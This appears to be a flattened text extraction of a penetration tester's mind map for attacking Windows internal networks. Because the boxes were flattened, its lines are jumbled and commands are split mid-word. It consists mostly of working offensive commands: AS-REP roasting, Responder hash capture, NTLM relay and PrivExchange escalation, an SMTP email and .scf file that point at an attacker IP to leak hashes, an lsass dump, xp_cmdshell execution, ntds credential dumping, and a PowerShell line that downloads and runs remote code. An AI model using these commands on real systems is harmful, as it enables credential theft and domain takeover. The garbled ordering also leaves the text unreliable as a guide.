Internal Network Pentest MindMap
Internal Network Pentest MindMap
Internal IP address:
PROMPT="%{$fg_bold[grey]%}[%{$reset_
color%}%{$fg_bold[${host_color}]%}%n@%
m%{$reset_color%}%{$fg_bold[grey]%}]%{$
reset_color%} %{$fg_bold[blue]%}%10c %W %
t $(ifconfig | grep -A 1 wlp4s0 | grep inet | tr -
s ' ' | cut -d ' ' -f 3) %{$reset_color%} $(git_
prompt_info) $(git_remote_status)
%{$fg_bold[cyan]%}❯%{$reset_color%} "
Change Zsh prompt (Kali 2020.4 and later) to
add date, time, and IP address
Internet IP address:
PROMPT="%{$fg_bold[grey]%}[%{$reset_
color%}%{$fg_bold[${host_color}]%}%n@%
LOG EVERYTHING m%{$reset_color%}%{$fg_bold[grey]%}]%{$
reset_color%} %{$fg_bold[blue]%}%10c %W %
t $(curl -s http://ipecho.net/plain; echo) %{$
reset_color%} $(git_prompt_info) $(git_
remote_status)
#%{$fg_bold[cyan]%}❯%{$reset_color%} "
Tee-Object:
Append to a log:
script output.log
Linux
Run a single command and log it using the
script utility:
Enumerate Active Directory Naming Context ldapsearch -h <DC IP> -x -s base namingcontexts
Using Impacket:
Get service account hashes for AD users
with "Do Not Require Kerberos Crack hashes using Hashcat mode 18200
impacket-GetNPUsers [Domain Name]/ -dc-
Preauthentication"
ip [Domain Controller IP address] -request
Run Responder:
LLMNR/NBT-NS Capture and crack password hashes responder -I <interface> --lm --wrd
msfconsole
use auxiliary/scanner/smtp/smtp_relay
set RHOSTS <IP or File>
set MAILFROM <PoC email address>
set MAILTO <your email address>
run
Content of msg-body.txt:
Test for open SMTP relay
<p>Hello,</p>
<p>[Insert name/company here] is testing
for an open SMTP relay. Please forward this
to me once you receive it.</p>
<p>Regards,</p>
<p>[Name]</p>
<p>Security Consultant, Penetration
Testing</p>
<p>[Company]</p>
<p>[phone]</p>
Exploit open SMTP relay <p>[email address]</p>
<p><img src="file://[Attacker IP address]/pic.
jpg" alt="Download Images" /></p>
In a Linux terminal:
Test:
Cisco Smart Install
python siet.py -l <file with IP's> -t
auxiliary/scanner/http/exchange_web_
Metasploit
server_pushsubscription
Run ntlmrelayx:
ntlmrelayx.py -t ldap://[domaincontroller.
Privexchange
domain.com] --escalate-user [username]
Run PrivExchange:
Cleanup:
Bloodhound
Exploit [Shell]
Command=2
IconFile=\\[your IP address]\share\pentest.
ico
[Taskbar]
Command=ToggleDesktop
Local:
I don't use Mimikatz on production systems.
I dump lsass.exe and use Mimikatz on a procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp
system that I control to dump creds from
the dump file.
Mimikatz
Network:
Use the crackmapexec lsassy module
Plunder
Powerview Find-InterestingFile
Get-NetDomainControllers
Get-SQLInstanceDomain -Verbose
Automation:
$Servers = Get-SQLInstanceDomain
–Verbose | Get-SQLConnectionTestThreaded
–Verbose –Threads 10 | Where-Object {$_.
Status –eq “Accessible”}
sqsh connect:
Enable xp_cmdshell:
Execute commands:
xp_cmdshell 'whoami'
SQShell
go
Rotten Potato
impacket-secretsdump [Domain]/[
username]@[DC FQDN] | tee /path/to/
outputfile
Dump Active Directory database (ntds)
hashes
crackmapexec smb [IP] -u [username] -p [
password] --ntds drsuapi
Invoke-Bloodhound
powershell.exe -exec Bypass -C "IEX(New-
Object Net.Webclient).DownloadString('
https://raw.githubusercontent.com/
BloodHoundAD/BloodHound/master/
Ingestors/SharpHound.ps1');Invoke-
BloodHound"